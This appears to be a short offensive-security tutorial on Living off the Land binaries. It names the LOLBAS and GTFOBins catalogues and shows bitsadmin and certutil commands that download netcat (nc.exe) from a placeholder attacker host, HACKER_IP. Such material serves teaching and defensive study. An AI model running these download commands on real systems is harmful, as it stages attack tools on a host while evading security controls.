The term LOLBins (Living off the Land binaries) came from a Twitter discussion on what to call binaries that an attacker can use to perform actions beyond their original purpose. There are currently two websites that aggregate information on Living off the Land binaries:


  1. LOLBAS Project for Windows Binaries
  2. GTFOBins for Linux Binaries


Living off the Land binaries can be used to perform functions such as:


  1. Download
  2. Upload
  3. Command Execution
  4. File Read
  5. File Write
  6. Bypasses


Other Common Living off the Land tools

Bitsadmin Download function

The Background Intelligent Transfer Service (BITS) can be used to download files from HTTP sites and SMB shares. It "intelligently" checks host and network utilization into account to minimize the impact on a user's foreground work.


File Download with Bitsadmin

PS C:\dotnetguard> bitsadmin /transfer wcb /priority foreground http://HACKER_IP/nc.exe C:\Users\hacker\Desktop\nc.exe


Certutil

Casey Smith (@subTee) found that Certutil can be used to download arbitrary files. It is available in all Windows versions and has been a popular file transfer technique, serving as a defacto wget for Windows. However, the Antimalware Scan Interface (AMSI) currently detects this as malicious Certutil usage.


C:\dotnetguard> certutil.exe -verifyctl -split -f http://HACKER_IP/nc.exe
C:\dotnetguard> certutil.exe -urlcache -split -f http://HACKER_IP/nc.exe